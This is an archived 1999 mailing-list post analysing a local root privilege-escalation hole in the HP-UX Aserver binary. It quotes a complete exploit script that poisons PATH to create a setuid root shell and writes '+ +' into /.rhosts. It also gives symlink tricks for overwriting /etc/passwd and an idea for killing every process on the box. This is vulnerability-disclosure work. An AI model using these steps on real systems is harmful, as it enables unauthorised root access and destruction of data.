I was intrigued by aserver.sh exploit script posted by Loneguard that I decided to do some of my own investigation. The results are as follows: 1. Aserver will not run on a machine that does not have Audio Hardware. Thus all beep only machines are safe. (e.g. 705?,710,720,730,750, etc.) 800s may or may not have audio hardware, I have little experience with them. If you try to run Aserver it poops out: failed to open /dev/audioIL - Aserver exiting 2. There are atleast two different (if not three) versions of Aserver. Due to Y2K I only have access to two (since almost all the machines I have available have the lastest and greatest patches.) oldmach> what /opt/audio/bin/Aserver /opt/audio/bin/Aserver: X Window System, Version 11 R5+ HP-UX B.10.10.00 Oct 1998 Patch Release (build date: Wed Oct 14 06:02:49 MDT 1998) newmach> what /opt/audio/bin/Aserver /opt/audio/bin/Aserver: X Window System, Version 11 R5+ HP-UX B.10.10.00 June 1999 Patch Release (build date: Thu Jun 3 22:18:56 MDT 1999) The lastest patches probably bring your Aserver to the Jun99 version. But the Oct98 version is also fairly current. 3. Aserver seems to have some system() calls that run external unix commands. strings reveals the nature of the commands: Oct98 ps -e | grep Aserver | grep -v grep | grep -v %s > /dev/null Jun99 /usr/bin/ps -e | /usr/bin/grep Aserver | /usr/bin/grep -v grep | \ /usr/bin/grep -v %s > /tmp/null kill `awk '{print $1}' /tmp/null` 2>/dev/null 4. Loneguard's script only worked partially for me on the Oct98 version of Aserver. Loneguards script does not work at all with the Jun99 version. The Jun99 version can be exploited, too -- but in a different way. Loneguard's script uses the fact that the path is not specifed in the system call and thus you can substitute your own version of ps for the one that is to be called. Since you can change the path ordering it is possible to run whatever commands you want as root. I was unable to duplicate the bad permissions on the temporary file /tmp/last_uuid. Neither version of Aserver had that file name in the binary nor did they seem to create it. The Jun99 version foils this by putting the path in for every command. But they give you some more weapons that make things just as easy. Instead of ignoring the output, Aserver saves the output into file /tmp/null. Since it does this as system command, the program does not check to see if file already exists or not, so if there is some troublesome file or something you want to over write simply: ln -s /etc/passwd /tmp/null And then the file will be overwritten. Reboot the HP box and it will beg your for a root password(seriously). Unfortunately the only thing that goes into /tmp/null is the output from ps -e (but maybe somebody can figure out a way to make + + appear in that). It is funny that HP fixed their earlier problem in the Oct98 version of Aserver in the Jun99 version, but they introduced the same problem in a different way. Aserver -f is used to force the Aserver to replace the currently running copy. (Aserver has the habit of failling or doing weird things.) So the Jun99 version looks for running copies and then kills them with the kill statement: kill `awk '{print $1}' /tmp/null` 2>/dev/null Well looky here I can write a script named 'awk' and place it before /bin in my execution path and do the same thing with the Jun99 version as I can with the Oct98. An attempt was made to fix it, but it introduced the same bug again... The above system call could also be used as a process killer. Since you can rewrite what awk will return, you could have it echo "-1" and take the whole box down. Feel free to be creative. The real question is "Why is HP using system() and script type functions for things that have kernel APIs?" A root process can just open the pstat process structure and get a list of processes from the kernel just like ps can. A little more programming is involved, but that is what ps does. There really is no need to do a system call on kill either. I think kill() still works and this would avoid the other problems. Enough ranting. I believe this explains how aserver.sh works fairly well. .justin. On Thu, 30 Dec 1999 Loneguardat_private wrote: ;)#!/bin/sh ;)# ;)# HP-UX aserver.sh - Loneguard 18/10/98 ;)# Simple no brainer path poison followed by a twist [ inspired by DC ;) ] ;)# ;)cd /var/tmp ;)cat < _EOF > ps ;)#!/bin/sh ;)cp /bin/csh /var/tmp/.foosh ;)chmod 4755 /var/tmp/.foosh ;)_EOF ;)chmod 755 ps ;)PATH=.:$PATH ;)/opt/audio/bin/Aserver -f ;)if [ -e /var/tmp/.foosh ] ;) # Hmmm, you not like that technique? ;) cd /tmp ;) rm last_uuid ;) ln -s /.rhosts last_uuid ;) /opt/audio/bin/Aserver -f ;) echo "+ +" > /.rhosts ;) # Haha, my Kungfu is the best! ;)fi ;)echo Crazy MONKEY! ;) ------------------------------------------------------------------------ Justin Leonard Tripp justinat_private Configurable Computing Laboratory Research Assistant CB 461 x8-7206 Electrical and Computer Engineering Department Brigham Young University
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:25:37 PDT